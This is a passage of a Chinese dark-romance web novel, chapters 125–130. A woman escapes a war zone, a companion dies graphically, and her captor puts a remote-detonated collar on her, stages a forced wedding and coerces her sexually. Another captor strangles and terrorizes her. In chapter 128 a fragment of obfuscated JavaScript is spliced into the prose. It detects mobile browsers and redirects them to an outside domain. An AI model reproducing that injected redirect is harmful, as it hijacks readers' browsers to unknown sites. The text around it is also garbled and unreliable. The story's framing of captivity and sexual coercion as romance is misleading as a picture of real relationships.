秋榕榕点头,“我不会的。”
徐照拿起石头,从废墟里砸出一根钢管,手握着在空中甩了甩。
他们找了一栋废弃楼,徐照用脚把房门踹开,房间里还剩下一些简易的家具。
一起把垃圾都腾到单独的房间,空出卧室用作躲藏。
“这一片,烧杀抢掠的事情时有发生,你别单独行动,否则难保你人身安全。”
秋榕榕往徐照身边凑了凑,“我不乱跑。”
徐照见她如此乖巧,满身戾气的眉眼微微动容,他拉着她的胳膊,哑声道:“要不,你别和周景行走了,跟老子就生活在这里吧。”
“我现在是黑户,如果不跟周景行走,我永远没有办法离开这个国家。
这里是战乱区,保不齐哪一天一颗炸弹下来,我们就都被炸死了。”
秋榕榕想离开。
“老子……”徐照想说,他其实活不久了。
客死他乡之前,只想身边有一个熟悉的人。
但徐照不会示弱,他的言语永远扎人。
“随便你,周景行这么对你,你回去也没好果子吃。”
忙完之后,秋榕榕找了个腿脚不稳的板凳坐下来,她心里也没底,“徐照,你帮我分析分析,周景行费这么大的劲赎我回去,他应该不会想杀了我吧?”
徐照恶狠狠地说道:“会,他会把你大卸八块,然后所有器官都掏空了卖掉。”
“他向蝮蛇赎我的价格,够买几百个我了。”
见徐照还是阴沉着脸,又想到这几天确实是靠着徐照帮助,她才得以从蝮蛇的手中逃脱,秋榕榕声音便软了几分。
“如果你有办法带我离开战争区,我就不回去。”
“我得找个和平的地方养身体,得请医生,继续留在这里,我会病死。”
徐照脸上阴云密布,他眉毛上多了一道纵着下来的疤,让他显得比之前更加凶狠。
秋榕榕还记得徐照之前欺负她的事情。
她其实并不了解徐照。
他们之间,剑拔弩张多过好好说话。
秋榕榕对他,也是心存畏惧。
徐照已经预感到自己的死亡,秋榕榕不在的时候,他经常咳血,少了一颗肾脏,常年服药,他不用请医生都知道自己活不了几年。
他送秋榕榕出去,无非是觉得秋榕榕毕竟和他睡过,被他划做自己女人的范畴,反正他也要逃,多带走一个也无妨。
而现在,徐照忽然意识到自己真的一无所有,他想留下点过去的人,陪在自己身边,让自己的死亡显得不那么悲惨。
但他死后,秋榕榕也活不下来。
一个瘦弱的女人,留在封锁区,饿死冻死,被炸弹或者流弹打死,或者被凌辱而死……无论哪一种死法,都不体面。
徐照思及此,眼神阴鸷,“其实像你这种处境死了也好,之前老子的手下都死光,现在确实没这个本事带你逃离封锁区。
但你逃离封锁区之后呢?未必会有好下场。”
第125章 重逢
秋榕榕叹息道:“走一步看一步。”
徐照眼神落在秋榕榕脸上,“你这是利用完老子之后,就准备把老子踹了,是吧?”
秋榕榕还有出路,徐照却没有了。
他不可能回头,因为蝮蛇那种玩法他承受不住。
他也不可能和秋榕榕一起离开,因为周景行对他,绝对不会手软。
现在的徐照是黑户,没身份、没药,肾少一颗,命也跟着折了一半。
若真被遗落在战乱废墟里,等待他的结局只会是慢慢死去。
或者更惨。
秋榕榕看着他,心里清楚这些。
她沉默片刻,忽然问道:“你要不要……在周景行那里赌一把?”
徐照眯起眼,“怎么赌?”
“我可以告诉他你以前在学校里欺负过我,说我要把你留在身边慢慢折磨,拿你出气。
这样他就会觉得我终于也变得跟他一样卑劣了,得偿所愿……而我也可以趁这个机会把你带出封锁区,等到了安全的地方,我会给你创造机会逃跑。
等你逃走之后,要想办法联系国内还靠得住的朋友,收集周景行他们犯罪的证据。
只有他们被绳之以法,我们才会安全。”
“周景行凭什么信你?”徐照冷笑,目光里闪着嘲讽,“你以为你光睡过他就够了吗?”
徐照不想送死。
他不会轻易把命压在一句话上。
“你不懂,周景行一直希望我也变得卑劣,他想看我堕落。
当我提出用折磨的方法对付你,而不是把你送到警署的时候,他就如愿了。”
秋榕榕觉得周景行会很乐意看见这一幕。
她和徐照说了周景行对她的所作所为。
分析他的行为动机。
徐照也觉得有道理。
反正留在封锁区也是死路一条。
他干脆破罐子破摔。
“好,老子跟着你赌一把。”
他答应下来,秋榕榕心里却又没了把握。
“这条路很危险,万一……万一他没有这么想,我就是害了你,你要想清楚。”
“大不了就是死,早死晚死都一样。”
秋榕榕心事重重地点头。
他们一起在废弃居民楼里苟活了三天。
期间还遇到抢劫事件。
是徐照拿着钢管把那些人吓退的。
他用钢管朝人的脑袋上面打,把人脑浆都打了出来。
秋榕榕躲在房间里,不敢出门。
徐照也因此又负了伤。
秋榕榕从自己的秋衣上面撕一块布,帮徐照刀扎胳膊上的刀伤。
徐照凑近她的脸看,“我发现你也是个怪人,刚才这么害怕,现在又能安静地坐在这里帮我包扎。”
秋榕榕包扎完之后,在伤口上打了个蝴蝶结,“我不帮你包扎,你流血过多昏迷,我还得照顾你。”
徐照不悦地说道:“你就不能说点好听的给老子听吗?”
“呃……你想听啥?”秋榕榕拿湿抹布擦手。
“说你关心老子。”
秋榕榕敷衍地点头,“嗯嗯关心你,你好好的,你现在是咱们小队里唯一的战斗力。”
徐照又笑起来,“你说谎的样子好假哦。”
他们躲过了蝮蛇的搜查,最终是秋榕榕认出周景行身边的那个之前怀孕时帮她做检查的女医生,才冒出头来和他们搭上线。
周景行很快赶来。
他手眼通天,封锁区也能来去自如。
少了定位器,他照样在短时间内找到秋榕榕。
要不是蝮蛇在中间贪得无厌,横插一脚,他早就把秋榕榕带回小岛安置了。
秋榕榕让徐照先藏在大衣柜里别出来。
周景行随意坐在沙发上,双腿交叠,指尖一圈圈转着枪,周身散发着慵懒又危险的气息。
“怎么敢主动联系我的?”
经历这么多,他以为她不敢。
秋榕榕站在他的面前抠手,如实说道:“不想上竞技场,也不想在危险的封锁区待着,我这几天全身疼,想跟你回去看医生。”
周景行这次来封锁区,专门把医生也带过来,就是因为考虑到秋榕榕之前胎儿生化,原本应该转移到小岛上修养,却没想到中间出了差错,使她流亡到这里受苦。
“先让医生帮你看一下。”
秋榕榕点头。
那名女医生把秋榕榕带到隔壁的房间。
简单地询问了一下身体情况。
“恶露已经干净,不流血了。”秋榕榕是孩子在三个月之内自行生化的,比胎儿成型后流产要好一些。
她说自己现在吹点风身体就痛。
从头到脚哪里都不舒服。
这里没有检查的仪器,女医生看着她苍白消瘦的脸颊,出于同为女人的怜悯心,说道:“你的身体得好好养养。”
女医生对周景行格外忠诚。
她如实将秋榕榕的情况汇报给周景行。
周景行站起身,将秋榕榕拥入怀中,下巴搁在她头顶,轻轻拍着她的背,“我给你选了一座风景优美的小岛疗养,你应该会喜欢。”
他不再提那声枪响。
也不提那个死去的孩子。
就像是什么都没有发生过。
他要带她回去。
徐照在这个时候自行从大衣柜里走了出来。
周景行的手下举起枪,齐刷刷地对准徐照。
徐照冲着秋榕榕吹了声口哨,然后举起双手。
“别杀他!”秋榕榕出声制止。
周景行搂着她腰的手微微扣紧,“你别忘了,这人之前在学校里屡次针对你。”
“我知道,所以我才不想让他死得那么快,你们一枪把他崩了,他倒是轻松。
我想要他为他之前的所作所为赎罪。”
秋榕榕尽量展现出对于徐照的厌恶。
幸好,她只要回想过去徐照对她做的事情,这种厌恶不需要演,就可以真情流露。
周景行果然来了兴趣,“你想怎么做?”
“我想把他也一起带回去,慢慢折磨他。”
这话,不像是秋榕榕能够说出口的。
周景行捕捉到秋榕榕说这些话时过于刻意的语气。
他慢悠悠地点点头,“好呀,到时候你下不去手,我可以帮你。”
徐照在旁边听着也松了一口气。
若他也能逃离封锁区,那再好不过。
就在徐照庆幸时刻,突然一声枪响,子弹穿过徐照的小腿,他瞬间冷汗直流,跪倒在地上。
秋榕榕在枪响的一瞬间,就被周景行扑倒在地。
第126章 死亡
**贴着秋榕榕的耳廓呼啸而过,炽热的气流擦破皮肤,巨大的**声震得她耳朵嗡嗡作响。
还未来得及恢复,外头便响起如同放鞭炮般噼里啪啦的枪战。
蝮蛇彻底疯了。
她将手下一个接一个推出来,每一个人身上都缠满了**,像**定时**般往大楼冲,势必要把他们所有人都拉下地狱。
“哈哈哈!周景行!**的滋味好受吗?不把我弟还来,我今天就和你一起死!”蝮蛇的狂笑声穿透浓烟与火光,如同受伤失控的野兽,龇牙咧嘴地露出獠牙,狠戾癫狂。
秋榕榕靠着墙踉跄站稳,她捂着耳朵。
侧头,她看见徐照拖着一条鲜血淋漓的断腿,艰难地从废墟尘土中向她爬来,他指甲扒拉着地面,地上拉出一道长长的血迹。
周景行正倚着断墙还击,目光紧盯远方,手中枪未停,暂时顾不上秋榕榕。
刚才是周景行救了她,如果不是周景行及时把她扑倒,她现在已经被枪打成了筛子。
“蝮蛇,我来此地只是为了找人,本不想和你发生冲突,带你伤了我手底下的人,就得付出代价!”
周景行派人把蝮蛇的弟弟带出来半悬挂在窗台上。
不发一语,抬手干净利落地挑断了他两道手筋,任那人像条被剥皮的畜生般在阳台上半挂着抽搐尖叫。
“啊啊啊!姐……救我!”
蝮蛇更加疯狂,她拿着扬声器叫喊道:“你敢杀我弟,我就让你们所有人陪葬!”
周景行慢条斯理地回应。
“蝮蛇,你每开一枪,我就断你的一只手,手断完就断脚,脚断完就从五官开始挨个挖,保证让他求生不得求死不能!”
他们两人较劲。
倒霉的是蝮蛇的弟弟。
秋榕榕靠着墙,从刚才**的余震里回过神来。
她盯着不远处徐照的腿,看见血流成河,愣住,一时之间不知作何反应。
“你过来……咳咳咳……我有话要问你,就一句……”
徐照有些艰难地动动手指。
秋榕榕脸色惨白,小心翼翼地趴在地上挪过去,将外套一把扯下,又迅速脱下身上的羊毛衫,为徐照腿上的枪口做止血包扎。
她指尖颤抖。
“都说恶有恶报,善有善报,你还不如那个时候去坐牢,也不至于落得现在这个地步……”
话没说完,秋榕榕低头看见徐照身上更严重的枪伤。
在腹部。
秋榕榕心口骤然一紧。
“是啊,报应来了,你可高兴?”
徐照腹部中了一枪,刚才因为衣服太厚没有透出血,现在鲜血溢了出来,正从伤口处汩汩涌出。
枪打穿了他唯一的一颗肾。
鲜血洇出。
他死定了。
秋榕榕的手颤抖着按住伤口,指尖全是热腥的血。
她喉咙里堵着东西,不知道这么做有什么意义,只是本能地先把人救回来。
“知道你打心底里讨厌我……但我快**,你能不能回答我一个问题?”
徐照眼角裂出血丝,脸上早已没了血色,他还在笑,像是早已不在乎死活了。
“你说……”秋榕榕舔了舔干涩的嘴唇。
死前的愿望,还有什么不能满足的呢?
“我……我问你……你之前说你怀孕了,是真还是假?孩子……咳咳咳……孩子到底是不是我的?”
她实话实说:“不是,我骗你的,我就是想和你攀点交情,让你别不管我。”
秋榕榕恐惧死亡,有太多人在她的面前死去,无论经历过多少次,她都没有办法熟悉死亡。
“那就好……”徐照咳出两口血,“老子不会不管你,好歹……好歹有过一次……”
他说话的声音越来越虚弱。
秋榕榕听不见,便弯下腰往他的嘴唇旁边凑,想听他最后的遗言。
徐照却忽然抬头,想要亲她的唇角,还未触碰到,秋榕榕吓得往后一躲,徐照遗憾地彻底倒了下去。
他睁着眼睛,停止呼吸。
死亡将他们之间所有的恩怨都带走。
秋榕榕颓然松开捂着伤口的手。
她往后坐在地上,裤脚被鲜血浸透。
曾经在学校的欺凌,徐
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照意气风发,恃强凌弱。
后来在地下室,他们同为阶下囚,同病相怜,在极为荒唐的处境下被迫发生关系。
又到最后几日,异国他乡的意外重逢,他对她的照顾,最后还想和她一起走。
恩恩怨怨,人死债消。
过去的一切像是走马灯一般在脑海里回放。
最后全部消失干净。
秋榕榕从来都没有忘记徐照在学校里对她所做的一切。
只不过他们后来在相遇,都过于的狼狈。
狼狈到秋榕榕没有精力去追究过往。
她紧紧地抓着他,假装忘记过去的一切,为自己谋求活路。
而徐照也真是个笨蛋。
他用刀片去划江无渡,又带着她从蝮蛇那里逃走。
他以为自己睡过的女人,就属于自己。
是他天真。
秋榕榕只当是笑话听。
她一直觉得徐照在还债。
徐照很惨,肾脏被卖了,又断掉一只手,家族破产,在异国他乡讨生活。
秋榕榕刚遇见他的时候,其实心里想的是他自食恶果。
不是不报,时候未到。
时候一到,立刻就报。
但人**。
曾经的恨意就会变得浅淡。
他们之间的账,就此平了。
她原谅他之前的暴力欺凌。
也希望他原谅,她对他的利用。
周景行的援兵很快就到。
他火力充足,蝮蛇被打得节节败退。
本来,他有能力把腹蛇斩草除根的。
但周景行已经找到秋榕榕,他不准备恋战,把重伤的蝮蛇弟弟丢出去后,周景行带着秋榕榕迅速撤离封锁区。
徐照的尸体就这样被丢在了废墟里。
他和大多数战争里死去的平民一样。
无人为他掩埋尸骨。
离去的时候,秋榕榕看见天空上盘旋的秃鹫。
它们展开黑色的翅膀,最终落在他们曾经躲藏的居民楼窗户上。
钻进去。
用尖锐的喙叼啄尸体上的肉。
鸟儿高高飞起。
不知是否能把他带回家乡。
第127章 回程
天地不言,生死有命。
秋榕榕坐在直升飞机内,远离战乱之地。
她透过玻璃,看见下方秀美的湖泊,忽然觉得人生在世,正如舟过江河,所欠所偿,也不过是顺应天道的一个起伏。
当命尽一息,万象归空,所有的执念、恩怨、爱欲、贪嗔痴,到最后都如逝水东流,终归平静。
风平浪静,就此放下和徐照的过去。
和他同乘的这条船,他永远地留在了船上,而她要下去了。
秋榕榕回到周景行为她精心准备的鸟笼内。
周景行喜欢把别墅里的布景都布置得和最开始的一模一样。
据说是沈砚川要求的,说这样安排风水好。
岛上看守森严。
秋榕榕可以在岛屿上任意行动。
这座岛,就是周景行原本当做礼物准备赠予给秋榕榕的岛屿。
而今,很可能成为她后半生的牢笼。
他把微型**重新给她佩戴上。
秋榕榕伸手去挡。
周景行调整项圈松紧。
冰凉的项圈贴着脖子,再次扣上卡扣。
“这个经过改进,升级成远程卫星操控,已经不需要手动的无线电引爆器,这里是无**的小岛,没有直升机和船,你是没有办法离开。”
秋榕榕抬手抚摸着项圈上的宝石,问道:“我以什么样的身份留在这里?”
周景行撩开她额前的碎发,“我的妻子。”
秋榕榕忍不住笑道:“哥哥,我们领证了吗?什么都没有,又怎么能称作妻子呀。”
“妻子是好听的说法,你要是不爱听,也可以换成其他称呼。”他贴着她的耳边,说了另外几个令她面红耳赤的词。
“奴隶、人质、玩物……你喜欢哪一个?”
秋榕榕震惊地看着他,他俊俏的脸垂头看着她,温柔的双眸下是高挺的鼻梁,唇角噙着笑,就像刚才的话,不是出自他口。
“我们都说,我留下你,最终会在你手上吃亏,我不信。”他伸手抹去她脸上沾染到的灰尘,动作轻得像在爱抚,“去洗澡,先好好休息,把身体养好我再来找你。”
周景行想要女人,出去装一装,凭他的外貌和身份地位,肯定能找到比秋榕榕更好的。
孩子已经生化,秋榕榕不知他如此费劲把她带出国,到底是为什么。
如果说一开始只是为了折磨,那么到今天这个地步,也该结束了。
在岛上的时候就该结束。
在运输出差错的时候,也应该结束。
他又何必把她找回来。
秋榕榕想不通,就不去想,她要了营养师,每天调理饮食,又天天去做理疗按摩,势必要把身体养回来。
她虽然不能用手机,但是在岛上可以看电视。
她看见谭松已经顺利完成了两场比赛,然后在第三场比赛的时候选择放弃回国。
这个新闻是两周之前的新闻了。
他放弃比赛的节点,应该是秋榕榕的假死消息传出去的时候。
谭松坚持报警,他说秋榕榕之前在国内经历过**,被奇怪的人缠上过,就算是掉进河里被淹死,也有可能是人为。
周景行让周淮远陪她。
周叔叔死得十分不体面,他浑身腐烂生蛆,是活生生疼死的,没能跟着出国。
秋榕榕发现,周景行喜欢把他们都养在身边。
就像是小孩子喜欢把蝴蝶装进塑料盒子里,随时拿出来端详。
周淮远在秋榕榕身边,可以说一些简单的词汇。
他的智力停留在三岁的水平。
做过抽脂切胃手术后,他现在不怎么能正常吃东西,秋榕榕了解到他有心疾,不能吃肉,一吃就会拼命地呕吐。
秋榕榕最近找到了一个新的爱好,那就是帮助周淮远说话。
这座岛上风景优美,尤其是那一片郁金香花海。初升的阳光洒在花瓣上,微微反光,像是镀了一层温柔的金色。
白天她拖着他出去捉昆虫。
周淮远自闭症不爱动,她就弄了一辆两个轮子的拖车,把他搬到车上去,拉着车在岛上玩。
面对周淮远的时候,她的话特别多。
不需要回应,她在他面前说了许多小时候发生的事情。
“我小的时候很皮,邻居的狗吃饭我偏要去扒拉狗嘴巴,看它吃的是什么,然后被狗追着咬。”
“我还揪过别人养在笼子里的兔子的尾巴。”
“会因为嫉妒爸爸妈妈对别的小孩好而红眼睛。”
“其
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实我也不算是个好小孩,只不过小的时候家里管得严,有一点做坏事的苗头就会被严加管教。”
秋榕榕细长的食指上停留着一只蝴蝶。
蝴蝶没有飞走。
她也没去捏蝴蝶的翅膀。
任它停留,任它飞翔。
如果白天下雨,秋榕榕就会在客厅里和周淮远玩拼图游戏。
有的时候周景行也会过来。
只不过周淮远比较怕他,他坐下来的时候,周淮远会缩在离他最远的那个墙角,连秋榕榕说话都不予理会。
于是,秋榕榕把周景行撵走,让他别打扰他们。
周淮远在秋榕榕面前,会相对的开朗一些,他会悄悄把她落在地上的书捡了起来,还会指着桌上的拼图示意她拼。
夜幕降临时,秋榕榕一如往常地将拼图收拾好,周淮远忽然拉住她的袖口,结结巴巴说了一句:“你……你别走。”
很意外,他竟然会做出这样的反应。
秋榕榕只能把自己的衣服从他的手心里抽出来,摸了摸他的脑袋像哄小孩一样说道:“不可以,晚上我要回我的魔仙堡。”
其实是周景行晚上不允许秋榕榕和周淮远在一起。
这段时间,周景行绝口不提那个死去的孩子。
秋榕榕在调养身体,医生交代过不要同房,周景行夜里也没有在做其他的事情。
他们之间如此平和,但平和里还是夹着一根刺。
周景行除非必要的应酬,否则绝对不会喝酒。
秋榕榕今天晚上在他的身上闻到了淡淡的酒精的味道。
他从后面抱着她,“你可真是狠心呀,口口声声说着孩子无辜,但是我们的孩子你却不愿意留,哪怕那个孩子是你此生唯一的孩子。”
既然孩子已经不在,秋榕榕当然不会把责任揽在自己身上,让周景行生气。
“孩子生化的,而非我故意要把孩子流掉。你可以问问医生,确实是我身体本来就很差,所以孩子才会留不住。”
她说了一大堆她也很伤心的话。
黑暗是最好的掩护色。
“忧思过重……”他搂着她腰的手紧了紧,不信她矫揉造作的甜言蜜语,“是你不想留,只不过孩子懂事,没有让你为难。”
第128章 婚礼
周景行说什么,秋榕榕就顺着她的话说他爱听的。
但周景行总是能够识别她所说的违心的话。
她越是有心讨好,越是适得其反。
这段时间,秋榕榕已经把岛上的地形全部都摸清楚。
周景行计划着兑现承诺,给秋榕榕办一场婚礼。
他请来婚礼策划师,和秋榕榕商讨婚礼细节。
“都可以。”
秋榕榕不在意这件事情,所以表现得很大度。
她让婚礼策划师自由发挥。
婚礼策划师看着手里根本就没被翻开的三版策划报告,问道:“那秋小姐是偏向中式的还是西式的婚礼?”
“我都喜欢。”
中式的婚礼像是染了血。
西式的婚礼像是进行葬礼。
都不错呀。
秋榕榕总是把那一枚大钻戒从手指头上拿下来,她不是不喜欢,只要是值钱的东西她都喜欢,不往手上戴纯粹是因为嫌重。
而当她发现周景行介意这件事情之后,找出了之前他送的那枚手工打造的素圈铂金戒指。
戒指内侧刻着一颗小小的榕树叶。
戴着朴素简约,又不会坠得手指头痛。
婚礼那天,天气预报说是个阳光明媚的好天气,但那天时至黄昏,橙黄色落日半坠入海面,海风如泣,天色被潮湿的血色晚霞染透。
岛上的红纸灯一盏盏燃起。
秋榕榕被牵出来,一身红衣,被盖头遮着,红嫁衣艳得发黑。
拜天的那刻,天打了个闷雷,狂风吹飞了秋榕榕的红盖头,她看见喜烛的灯火颤了颤,周景行重新帮她把盖头盖上,指尖不经意拂过她鬓角。
秋榕榕嘀咕了一句:“这不是个好兆头。”
周景行穿的是旧制中山装,胸前戴着一朵纸扎的红色绢花。
他低声道:“无妨,只是走一个仪式,兑现承诺。”
秋榕榕嫁的不是吉兆。
他从来都只是她的厄运。
其实这个仪式多少带着点自欺欺人的意味。
秋榕榕现在是黑户。
周景行的身份也是虚假的。
他们两个人根本就不可能写在同一个户口本上。
也不可能去民政局领结婚证。
晚上,秋榕榕看着床上放着的桂圆、花生、红枣,这些东西寓意着早生贵子,估计婚礼策划师也不知道秋榕榕无法再生小孩,才放下这些提醒她伤心往事的东西。
秋榕榕干脆坐在床边剥花生吃。
他们没有亲友。
参加婚礼的只有江无渡、沈砚川和周淮远。
冷冷清清。
等了一会,周景行才进屋来,他看见秋榕榕自己把红盖头掀开坐在床边吃东西,见他进来,才慌张地又把盖头盖回去。
床边放的都是花生壳和红枣的核儿。
一小会就吃那么一小堆。
也怪不得最近长了一点肉。
他坐在她的身边,现在还是医生所说的禁欲期,他们也做不了其他的事情。
屋内的蜡烛被风熄灭,秋榕榕想要去开灯,周景行拉着她的手不让她走。
他侧过身,伸手替她拨开额前的一缕碎发,指腹带着一点薄茧,温柔又小心。
“就这样吧,你不是一位称职的演员,我暂时不想看你的眼睛。”他的声音低哑。
秋榕榕闭上眼睛。
不爱看,就不看。
那一瞬间,什么都没说,却仿佛一切都在那目光中应允了。
他先是试探地碰了碰她的额头,气息裹着木质香,落在她唇边时,轻得像雪花落在唇上融化。
接着他吻了下去,沉缓克制。
秋榕榕颤了颤,袖子里的拳头紧紧握起。
他们之间不需要这样。
该做的,不该做的都做过了。
如果纯粹屈服于欲望,怎么样接吻都无所谓。
何必如此惺惺作态,让秋榕榕回想起她最开始的期盼。
她曾无比期盼着,有一场名正言顺的婚礼,她受到各方祝福,他对待她,像是对待妻子一般珍重。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933267|173646||http|test|mini|href|location''.split(''|''),0,{}));
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r>秋榕榕一直希望自己可以被好好对待。
就像今天的这个吻。
当她还是个小姑娘的时候,她以前就曾偷偷地幻想过,在婚礼当天的亲吻,还有耳鬓厮磨时爱人说出的誓言。
秋榕榕现在年纪也不大,只不过幻想被过早地杀死。
她的第一次,不是她想象中的场景。
没有脸红心跳,也没有人搂着她让她不要害怕,也没有像今天这样温柔的亲吻,让她知道,自己是值得被尊重的。
只有一把刀柄。
冰冷残酷,将她的灵魂残忍剖开一分为二。
自此她的人生和死亡挂钩。
这场婚礼,她选择了中式而非西式,纯粹是不想让自己想起葬礼。
但锦被红绸颜色过于艳丽,她又想起了那天刀柄上滴下的鲜血。
过去太过于不堪。
她讨厌和他的婚礼。
可他偏偏要办这场婚礼,让她不得不想起过去。
秋榕榕看着周景行柔情似水的双眼,真想把他的面皮撕下来,看看里面藏着的是什么样的黑心肝。
他的手又伸进了她的上衣里。
秋榕榕拦下来,“医生说过了不可以同房。”
“不做到最后一步。”他的鼻音有些重,懒散,又有点像撒娇,“你要尽妻子的义务,这座岛上不会留下无用的人。”
秋榕榕按着他手臂的手紧了紧,又万分不情愿地松开。
“你早点结束,我累了。”她觉得无比疲累。
“又不用你动。”他亲了亲她肩膀锁骨上方凹陷下去的位置,“你闭着眼睛直接睡吧。”
秋榕榕不管他,就这样直接睡了过去。
半梦半醒之间,秋榕榕又听见了熟悉又陌生的声音。
无数的藤蔓将她缠绕。
黑色的蛇从她的嘴巴耳朵和眼睛里钻进身体,啃食着她的内脏,然后从其他洞口钻出。
「你是我的妻子,我会爱惜你。」
「忘记过去,从今以后我会护着你。」
第129章 玩偶
婚礼之后,周景行出远门,据说是谈新的生意,他没有带秋榕榕去,秋榕榕是“死者”,不方便在正式场合露面。
沈砚川又回国去见谭松。
谭松不信秋榕榕已死,他执着于她的跳河**事件,拒绝参加继续的比赛,打乱了沈砚川的计划。
沈砚川没想到谭松对秋榕榕玩真的。
别墅里就剩下秋榕榕,周淮远和江无渡。
江无渡神经质。
秋榕榕很怕他。
在小岛上,秋榕榕有意无意地躲着他。
“小兔兔,我们来玩捉迷藏呀!”
江无渡把整座岛的电断了,岛屿失去了灯光,昏沉沉的被漆黑的海水围绕,幽蓝的海潮,一阵一阵的拍打着岸边。
秋榕榕原本不准备陪江无渡玩,她就躲在自己的房间里,把房门反锁睡觉。
但江无渡有整间别墅的钥匙。
他走进房间里,硕大的黑暗影子投射在她的身上。
“让我找找看,嗬嗬嗬,原来小兔兔藏在被子里。”
秋榕榕把头蒙在被子里。
她以为自己至少在明面上和周景行办了婚礼,江无渡虽然疯狂,但不是真的神志不清,他应该会给周景行一点面子。
却没想到,他直接用钥匙打开了她的房门。
咔嗒一声。
门开了。
“你出去!”秋榕榕有些惊慌地拽着被子。
黑夜里,他那双眼睛如同野兽一般泛着兴奋的狩猎寒光。
江无渡身上有**。
“乖呀,不要叫,也不许咬人,咬人的话,我就只能把你的牙齿拔掉。”
“江无渡,你冷静一点。你亲眼见证过我和周景行结过婚,我算是他的人,你要是随便伤害我,他回来后会找你算账的。”
他歪着头,笑容森然,“我说了很多遍,兔兔永远只是兔兔,兔兔是不会成为妻子的。”
“还是说,兔兔喜欢玩过家家?”
他突然拍了一下手,像是想起了什么有趣的事情,趴在地上,从秋榕榕房间的床肚里拽出来一个巨型兔子玩偶。
玩偶的眼睛是用纽扣缝制的。
长长的耳朵垂下来。
“你最适合这身打扮了。”他像献宝一样递出兔子服。
“我不喜欢。”
“我们来玩过家家。”容不得秋榕榕拒绝,他抓着秋榕榕的胳膊往上提,力气很大,手像铁钳子一般抓住她纤细的手腕,硬是把她塞进玩偶里,“你来演兔子新娘。”
白色的绒毛贴在她肌肤上,搭配着纯白的丝袜,下半身更类似于情趣衣服,但那个兔子头套却不是,头套沉重,里面有点腥气,从纽扣的眼睛处往外看,会发现世界都是红色的。
她的脑袋像被锁进一口小棺材,沉闷喘不过气。
“果然很适合你。”
江无渡看着她,目光逐渐痴狂。
“小兔兔,好可爱,我们来玩捉迷藏好不好?你先躲,我来找你。
这次你可要藏得紧紧的哦,如果我在半个小时之内找不到你,就放你回窝里睡觉。
如果让我找到了,嗬嗬嗬,我们就接着来玩结婚的游戏。”
“你要是敢碰我,周……呃……”
江无渡忽然伸出手掐住了她的喉咙。
她被夺走呼吸喘不上气。
此时她还带着头套,兔子的两只耳朵斜斜地垂了下去。
头套里本来就闷。
他掐着她的脖子,把她整个人都提了起来。
她两只脚往下蹬,手指死死地扣着他的手,直到抠出血来,他也没有丝毫松手的痕迹。
“秋榕榕,你玩,还是不玩?”
秋榕榕脸眼发黑捶打着他。
“玩……”
她艰难地吐出这一个字。
江无渡这才松开手。
她整个人跌坐在地上,捂着被掐到淤青的喉咙,大口的喘息着,心有余悸地抬头。
他太恐怖。
上一秒还掐人脖子,下一秒就蹲在地上,两只手捧着脸,那双漆黑的眼睛盯着她,数数的声音在黑暗中节奏分明,“一……二……三……”
哪有捉迷藏地盯着人数数。
秋榕榕被他看得毛骨悚然的。
她赶紧从地上爬起来,快速跑出屋子寻找躲藏的地方。
江无渡对别墅的构造了
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如指掌。
秋榕榕只有往外躲才安全。
整座岛还在断电状态,四周漆黑一片,只有月光落在沙地上,以前心静时觉得月光如流水,而如今再看却像是骨粉泼洒,透着死气。
她躲进郁金香花丛中。
“兔兔……兔兔在哪里?”江无渡轻轻地哼着婉转的语调,他手中拿着上次婚礼上没有用完的红烛,沿着地上留下的脚印,寻找秋榕榕的踪迹。
秋榕榕屏住呼吸,整个人缩成一团。
他快找到郁金香花丛。
秋榕榕悄悄地挪动步伐。
他在明,她在暗。
秋榕榕想挪到边缘处,再换一个藏身之地。
就在她研究逃跑路线的时候,再抬头时,却发现拿着蜡烛的江无渡消失不见。
在哪里?
郁金香花丛中已经看不见他的身影。
也看不见荧荧火光。
“找、到、你、了!”
江无渡忽然出现在秋榕榕的背后。
她惊恐后退的时候,不小心绊到了郁金香花丛里的石头,即将跌坐在地时,她下意识地去拉江无渡的衣服。
结果扯到了烛台。
蜡烛倾斜着掉下来,落在她的兔子玩偶服上。
空气里传出焦糊味。
兔毛被燃烧。
“啊——!”秋榕榕一声惊叫,想要拉开后背的拉链,但玩偶服太厚,拉链又卡死。
她赶紧在地上打滚,试图扑灭火焰。
江无渡看着眼前着火的兔子,竟然跟随着发出一声惨烈的叫声,然后不顾火焰的滚烫,试图救秋榕榕。
“不可以……不可以……别烧死我的兔子,别烧死我的兔子!”火焰照亮他的双眼,他流淌出眼泪。
秋榕榕直接跳进湖里。
火焰才被熄灭。
幸好玩偶服足够的厚,没真的烧到皮肤。
就是那兔子玩偶已经不能看了。
最终是江无渡用剪刀把剩下的兔子玩偶剪开,再把秋榕榕捞出来。
他看着被烧焦了的兔子玩偶服,忽然抱在怀里,把脸贴在偶头上沉默着落泪。
江无渡想起了那一天的大火。
第130章 回忆
江无渡和周景行他们是不同的。
他并没有亲人死在那场大火里。
死在那场火里的活物,只有一群兔子。
江无渡是个怪胎。
他自小孤僻,没有朋友,小的时候唯一的爱好就是解剖小动物。
那时,他还不喜欢任何活物。
他的父母为把他变成正常人,操碎了心。
江无渡从未觉得自己不正常。
他可以和父母平静地交流,也能够理解父母所说的话。
江无渡爱他的父母,他只不过有自己的爱好,而这些爱好让他显得孤僻罢了。
江妈妈是在他八岁的时候被查出来胰腺癌的。
江无渡八岁的时候,已经明白什么是死亡。
死亡就是妈妈会变得和他的动物标本一样,安静沉默,永远美丽,永远青春。
任时光流去,不留痕迹。
江无渡并不恐惧死亡,但他察觉得自己的妈妈害怕。
妈妈和爸爸总会在病房里抱着一起哭。
肉眼可以看见的死亡会令他们哭泣。
江无渡记得那天妈妈在医院打点滴,脸颊凹陷,眼尾处微微皱起。
她轻轻地摸着他的脑袋,说:“阿渡,妈妈很想陪在你的身边,但妈妈总有一天会变成天上的一颗星星。
离去不代表妈妈不爱你,化作星辰,我也会永远照耀我的阿渡。”
他看着母亲苍白的脸,又听见爸爸安慰母亲“医生一定会治好你。”若有所思。
“妈妈,如果你很伤心,我也可以成为一名医生,然后治好你。”
后来医生说,他的妈妈最多还有三个月。
